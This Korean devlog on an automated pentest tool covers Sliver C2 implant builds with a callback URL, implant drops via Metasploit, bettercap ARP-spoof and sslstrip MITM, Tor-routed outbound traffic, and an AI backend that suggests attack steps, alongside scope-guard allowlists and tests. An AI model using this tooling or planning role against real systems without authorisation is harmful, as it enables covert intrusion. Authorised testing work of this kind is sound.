시리즈: autopwn 개발기 ⑤ 이전 글: ④ Homepage 어드민 콘솔과 AI 게이트의 3중 잠금 이 글의 범위: devlog-04 이후 — Sliver C2 풀체인, claude-shim AI 백엔드, LAN MITM 모듈, msf 옵션 노출, pytest 50개.
🧭 어디까지 왔나
4편까지의 autopwn 은 정직하게 말하면 반쪽짜리 킬체인이었다. recon 은 실전 검증까지 끝났고 web_vuln_chain 도 돌았지만, "킬체인" 이라 부르려면 빠진 게 둘 있었다 — C2 (implant 빌드 → 콜백 → post-exploitation) 와 LAN 측면 이동의 출발점인 MITM.
| 스테이지 | devlog-04 시점 | 지금 |
|---|---|---|
| recon (nmap·SSE·scope) | ✅ 실전 | ✅ |
| exploit (nuclei·msf) | ✅ 부분 | ✅ msf 옵션까지 노출 |
| C2 (Sliver implant·session) | ⚠️ listener 만, implant 빌드 깨짐 | ✅ vendored proto 로 복구 |
| post-ex (session exec) | ❌ | ✅ |
| LAN MITM | ❌ | ✅ bettercap 모듈 |
| AI escalation | ✅ mock/hexstrike | ✅ claude-shim 분리 |
| 테스트 | ❌ 0개 | ✅ pytest 50개 |
이 글은 그 빈칸을 채운 5~7차 작업의 기록이다. 가장 피를 본 곳부터 시작한다.
🧨 Sliver — protobuf field 번호가 어긋난 지옥
reverse_shell_drop 플레이북의 마지막 퍼즐은 implant 바이너리 빌드였다. listener 생성·세션 목록은 sliver-py 로 잘 됐는데, generate_implant 만 호출하면 서버가 이걸 뱉었다:
proto: cannot parse invalid wire-format data
unmarshal: invalid UTF-8원인을 추적하니 황당했다. sliver-py 0.0.19 가 들고 있는 ImplantConfig 스키마와 우리가 띄운 sliver-server v1.7.3 의 client.proto 는 field 번호가 통째로 재정렬돼 있었다.
ImplantConfig field #2
├─ sliver-py 0.0.19 → bool IsBeacon
└─ sliver v1.7.3 → repeated ImplantBuildprotobuf 는 필드를 번호로 직렬화한다. 한쪽이 #2 를 bool 1바이트로 쓰고 다른 쪽이 그걸 repeated message 로 읽으면, bool 의 바이트가 message 길이로 해석되면서 "invalid UTF-8" 같은 엉뚱한 에러로 터진다. 클라이언트 라이브러리 버전을 핀으로 맞춰도, sliver-py 가 v1.7.3 에 대응하는 릴리스를 아직 안 냈으니 답이 없었다.
해법 — vendored proto + raw gRPC
라이브러리를 기다리는 대신, v1.7.3 의 .proto 를 직접 받아 stub 을 생성해서 repo 에 박았다.
api/vendor/sliver_proto/ ← v1.7.3 .proto 원본 (clientpb·commonpb·rpcpb·sliverpb)
api/app/sliver_v17/ ← 거기서 generate 한 _pb2.py stub그리고 build_implant 어댑터는 sliver-py 의 ImplantConfig 를 안 쓰고, vendored stub 으로 직접 메시지를 만든 다음 sliver-py 가 이미 열어둔 gRPC 채널만 빌려서 raw unary 호출을 친다.
from sliver_v17.clientpb import client_pb2 as v17
c = await _client() # sliver-py SliverClient (연결·인증 재사용)
cfg = v17.ImplantConfig()
cfg.GOOS, cfg.GOARCH = body.os, body.arch
cfg.Format = 2 # EXECUTABLE
cfg.IncludeHTTP = True
cfg.HTTPC2ConfigName = "default" # ← 이거 안 넣으면 ErrRecordNotFound
c2 = cfg.C2.add(); c2.URL = body.callback; c2.Priority = 1
# sliver-py 의 내부 채널만 빌려 raw RPC. stub 의 service full-name 이
# 패키지명 때문에 안 맞아서 SliverRPCStub 은 못 쓰고 경로를 직접 지정한다.
channel = c._channel
save = channel.unary_unary(
"/rpcpb.SliverRPC/SaveImplantProfile",
request_serializer=v17.ImplantProfile.SerializeToString,
response_deserializer=v17.ImplantProfile.FromString,
)여기서 두 번 더 미끄러졌다:
HTTPC2ConfigName미설정 →ErrRecordNotFound. 서버가 implant 프로필을 저장할 때 HTTP C2 설정을 이름으로 조회하는데, 빈 문자열""로 조회하면 레코드가 없다. sliver 가 부팅 시 자동 발급하는"default"를 명시해야 통과.- 같은 이름 재빌드 →
rename import dir: target exists. sliver builder 는 빌드별로 import 디렉토리를 만드는데 동명이 있으면 거부한다.implant-{os}-{arch}-{epoch}로 이름에 timestamp suffix 를 박아 해결.
builder 는 별도 프로세스다
추가로 알게 된 것 — sliver v1.7+ 는 daemon 외에 builder 프로세스가 따로 떠 있어야 implant 가 컴파일된다. compose 에 같은 이미지로 sliver-builder 서비스를 하나 더 등록했다.
sliver-builder:
image: ghcr.io/bishopfox/sliver:v1.7.3
command: ["sliver-server", "builder", "-L", "sliver"]
depends_on: [sliver]최종 흐름:
build_implant 어댑터
│ vendored v17 stub 으로 ImplantConfig 직접 조립
▼
/rpcpb.SliverRPC/SaveImplantProfile (HTTPC2ConfigName="default")
│
▼
/rpcpb.SliverRPC/Generate (sliver-builder 가 실제 컴파일, timeout 360s)
│
▼
/shared/implants/implant-linux-amd64-<epoch>.bin
│ docker volume 으로 msf 컨테이너와 공유
▼
msf.drop_implant → session.upload → 타깃에서 실행 → 콜백이걸로 reverse_shell_drop 이 listener → implant → 콜백 → sliver.exec 까지 한 줄로 닫혔다. 킬체인의 C2 칸이 진짜로 채워진 순간이다.
교훈: 벤더 라이브러리가 서버 버전을 못 따라올 때, proto 는 결국 bytes 계약이라 stub 만 맞으면 채널은 빌려 쓸 수 있다. 라이브러리 fork 보다 vendored stub + raw RPC 가 유지보수 면적이 작았다.
🤖 claude-shim — API 키 없이 Claude 를 escalation 백엔드로
4편의 AI escalation 은 mock / hexstrike 백엔드였다. 실전에서 쓸 추론 백엔드가 필요했는데, 선택지는 둘:
- Anthropic Console API 키 —
AI_BACKEND=claude. 동작하지만 별도 과금 키 발급·관리. - 호스트의
claudeCLI — 이미 OAuth 로그인된 구독 안에서 추론. 키 발급 0.
후자를 택했다. 문제는 autopwn-api 가 컨테이너 안에서 돌고 claude 바이너리는 호스트에 있다는 것.
안 한 선택 — ~/.claude 바인드 마운트
처음엔 컨테이너에 ~/.claude 를 바인드 마운트할까 했다. 안 했다. OAuth 토큰을 컨테이너 파일시스템에 노출시키는 셈이고, 컨테이너가 호스트의 단일 셋업에 강하게 묶인다.
한 선택 — 호스트에 thin proxy 를 띄운다
대신 호스트에 claude-shim 이라는 작은 FastAPI 를 띄우고, autopwn-api 는 그걸 HTTP 로 부른다.
autopwn-api (컨테이너)
│ POST host.docker.internal:8090/suggest
│ { system, user, model, schema }
▼
claude-shim (호스트, 127.0.0.1 only, Basic auth)
│ subprocess: claude -p --output-format json
│ --json-schema <schema> --tools "" --disable-slash-commands
▼
{ ok, structured_output, total_cost_usd, raw_envelope }shim 이 subprocess 격리·OAuth 인증·structured JSON 정규화를 전부 떠안고, 컨테이너는 OAuth 토큰을 영영 못 본다. claude 호출 옵션이 핵심:
--tools ""— LLM 에게 도구를 일절 안 준다. 추론만.--disable-slash-commands— 입력이 슬래시로 시작해도 명령으로 안 샌다.--json-schema <schema>— escalation 이 기대하는{rationale, suggested_next[]}스키마를 강제. 응답은 envelope 의structured_output에 담긴다 (이 모드에선result는 비어 있다 — 파싱할 때 주의).
# escalation.py — claude_cli 백엔드
async with httpx.AsyncClient(timeout=200, auth=auth) as client:
r = await client.post(f"{s.claude_shim_url}/suggest", json={
"system": _CLAUDE_SYSTEM, "user": user_msg, "model": model, "schema": schema,
})
envelope = r.json()
parsed = envelope.get("structured_output") # JSON-schema 모드는 여기에⚠️ shim 은 subprocess 로 명령을 실행하는 컴포넌트다. 그래서 127.0.0.1 밖으로는 절대 listen 안 하고, Basic auth 를 hmac.compare_digest 로 비교하고, UFW 룰 한 줄로 격리한다. 설치는 ops/claude-shim/install.sh 한 방.
비용 가드는 코드로
유료 백엔드(claude·claude_cli·hexstrike)에는 Redis 기반 비용 cap 을 박았다. AI 가 옵션이라는 원칙은 "켜고 끄기" 만으론 부족하고, 켜졌을 때 폭주를 막아야 한다.
# per-run 누적: autopwn:ai:cost:run:{run_id}
# daily-global: autopwn:ai:cost:day:{YYYY-MM-DD}
if s.ai_backend in {"claude", "claude_cli", "hexstrike"}:
block = await _check_budget(run_id) # hard cap 확인
if block:
await publish(..., {"type": "ai.blocked_by_budget", ...})
return None # escalation 자체를 차단shim 이 정규화해준 total_cost_usd 를 호출마다 적립하고, per-run·daily cap 을 넘으면 escalation 을 호출 전에 끊는다. 임계치(예: daily 80%)를 넘으면 ai.budget.threshold SSE 이벤트가 어드민 라이브뷰로 흐른다. 비용이 정책 문서가 아니라 게이트가 됐다.
🕸️ LAN MITM — bettercap, host network, 그리고 scope guard 예외
킬체인의 또 다른 빈칸은 LAN 내부에서의 측면 이동 출발점. mitm 모듈을 새로 붙였다.
ARP spoof / sniffer / HTTP proxy / sslstrip 은 bettercap 이 가장 깔끔하다. 다만 두 가지가 다른 어댑터들과 다르다:
- host network 모드. ARP 는 raw L2 패킷이라 docker bridge NAT 안에선 의미가 없다. bettercap 컨테이너는
network_mode: host로 호스트 LAN 에 직접 붙고, autopwn-api 는host.docker.internal:8081의 bettercap REST API 를 친다. PROXY_CHAIN무시. 이 repo 의 철칙은 "모든 outbound 는 proxychains+Tor" 다. 하지만 LAN MITM 은 같은 브로드캐스트 도메인에 대한 직접 공격이라 Tor 로 보낼 outbound 자체가 없다. 그래서mitm어댑터만 명시적으로 PROXY_CHAIN 을 우회한다 — 대신 그 예외를 모듈 docstring 에 못박았다.
예외를 하나 열었으니 가드는 더 조인다. scope_guard.require() 를 target 과 gateway 양쪽 모두에 건다. allowlist 의 networks: 에 victim IP 와 gateway 가 다 들어있지 않으면 fail-closed.
# mitm.py — 진입부
scope_require(target) # victim
scope_require(gateway) # LAN gateway그리고 lan_mitm 플레이북은 disallow_ai: true. bettercap 은 실 ARP·raw socket 을 만지므로 AI 가 step 을 자동 변형하게 두면 안 된다 — 4편의 "per-playbook disallow" 잠금이 여기서 그대로 일한다.
# api/playbooks/lan_mitm.yaml
name: lan_mitm
disallow_ai: true # ← 실 ARP/raw socket — 자동 변형 금지
steps:
- id: arp_spoof
tool: mitm.arp_spoof
args: { gateway: "{{ vars.gateway }}", sniff: "{{ vars.sniff }}", ... }/mitm/start · /mitm/stop · /mitm/sessions · /mitm/events 라우터, mitm.* SSE 이벤트 타입, 그리고 어드민/ Zino 양쪽 DTO 까지 동기화했다.
🧰 잔손질 — msf 옵션 노출 + 플레이북 8개
작지만 막혀 있던 둘:
msf 모듈 옵션. msf.run_exploit 어댑터는 원래 options dict 를 받을 수 있었는데, 플레이북 YAML 에서 그걸 넘길 통로가 없었다. log4shell 처럼 TARGETURI · SRVHOST 같은 모듈별 옵션이 필요한 익스는 그래서 자동화가 안 됐다. reverse_shell_drop 에 options 패스스루를 뚫었다.
- id: exploit
tool: msf.run_exploit
args:
module: "{{ vars.msf_exploit }}"
options: "{{ vars.msf_options }}" # ← 모듈별 옵션 dict 그대로 전달플레이북 8개 추가. recon 커버리지를 넓혔다 — db_recon · dns_recon · k8s_recon · recon_deep · smb_enum · ssh_audit · tls_audit · wordpress_audit. 전부 기존 어댑터 조합이라 코드 변경 없이 YAML 만으로. C2·익스를 끼는 플레이북이 아니라 disallow_ai 는 안 걸었다.
🧪 pytest 50개 — 처음으로 깐 테스트 그물
여기까지 오면서 가장 불편했던 건 회귀를 잡아줄 그물이 없다는 것. 어댑터를 건드릴 때마다 docker compose 를 통째로 띄워 손으로 확인했다. 5~7차의 변경 면적이 커지면서 더는 안 됐다.
pytest 를 들이고 순수 함수·정책 로직 위주로 50개를 깔았다 — 컨테이너·네트워크 없이 도는 것만.
| 파일 | 개수 | 무엇을 잠그나 |
|---|---|---|
test_scope_guard.py | 11 | allowlist 매칭, CIDR, fail-closed, step dict 검증 |
test_alerts.py | 14 | webhook 알림 페이로드·라우팅 |
test_escalation_budget.py | 9 | per-run·daily cap, 임계치 이벤트 |
test_runner_render.py | 8 | {{ vars.* }} 템플릿 렌더, defaults 머지 |
test_mitm_coerce.py | 6 | "true"/"false" 문자열 → bool 강제 |
test_nmap_parse.py | 2 | nmap XML → findings 파싱 |
가장 값어치 있는 건 test_scope_guard 다. scope guard 가 풀리면 이 도구의 합법성 전제가 통째로 무너진다. 그게 11개 테스트로 고정됐다 — 빈 allowlist 는 모두 거부, CIDR 경계, AI 제안 step 의 tool 화이트리스트까지.
def test_empty_allowlist_denies_everything():
assert scope_guard.check("8.8.8.8") is False # fail-closed
def test_ai_step_rejects_unknown_tool():
with pytest.raises(ScopeError):
validate_step_dict({"tool": "rm", "args": {}}, ADAPTERS, target)CI 는 아직 안 걸었지만 (다음 항목), 로컬에서 pytest 한 줄이 50개를 0.x초에 돌린다. 어댑터 리팩터의 심리적 비용이 확 떨어졌다.
✅ 검증 현황
| 검증 | 상태 | 메모 |
|---|---|---|
| Sliver implant 빌드 (vendored proto) | ✅ | SaveImplantProfile → Generate 성공, .bin 산출 |
reverse_shell_drop 풀체인 | ✅ | listener → implant → 콜백 → sliver.exec |
claude-shim /suggest 추론 | ✅ | opus-4-7, structured_output 파싱, 비용 적립 확인 |
AI 비용 cap → ai.blocked_by_budget | ✅ | per-run cap 초과 시 escalation 차단 |
lan_mitm ARP spoof + sniff | ⏳ | bettercap host-net 컨테이너 기동 후 실 LAN 검증 |
| pytest 50개 | ✅ | pytest 전부 green |
| 신규 플레이북 8개 manifest 노출 | ✅ | /modules/manifest 에 자동 등재 |
🚀 다음 단계
- pytest → CI — GitHub Actions 에서 push 마다
pytest. scope guard 회귀를 사람 손에 안 맡긴다. - AI 비용 트래킹 UI — cap·임계치는 코드에 있는데 누적 비용·호출 횟수를 어드민에 노출하는 화면은 미구현.
- LAN MITM 실 검증 — 본인 LAN 에서 bettercap host-net 컨테이너로 ARP spoof → sniff 까지 E2E.
- Zino 앱 동기화 —
mitm.*이벤트·DTO 가 추가됐으니:modules:autopwn도 따라가야 한다.
📝 정리
- 킬체인이 풀체인이 됐다 — C2 implant 빌드와 post-ex, LAN MITM 이 붙어 recon→exploit→C2→post-ex 가 한 줄로 닫혔다.
- Sliver proto 지옥 — sliver-py 0.0.19 vs 서버 v1.7.3 의 field 번호 불일치. 라이브러리 fork 대신 vendored proto stub + 채널 빌려쓰는 raw gRPC 로 우회.
- claude-shim —
~/.claude바인드 마운트 대신 호스트 thin proxy. OAuth 토큰을 컨테이너에 안 노출하고,--tools "" --json-schema로 LLM 을 추론 전용으로. - 비용도 게이트 — 유료 AI 백엔드에 Redis per-run·daily cap. 넘으면 escalation 을 호출 전에 차단.
- MITM 의 예외는 명시적으로 — host network + PROXY_CHAIN 우회를 열되, scope guard 를 target·gateway 양쪽에 걸고
disallow_ai로 조였다. - 테스트 그물 — pytest 50개. 그중 scope guard 11개가 이 도구의 합법성 전제를 고정한다.
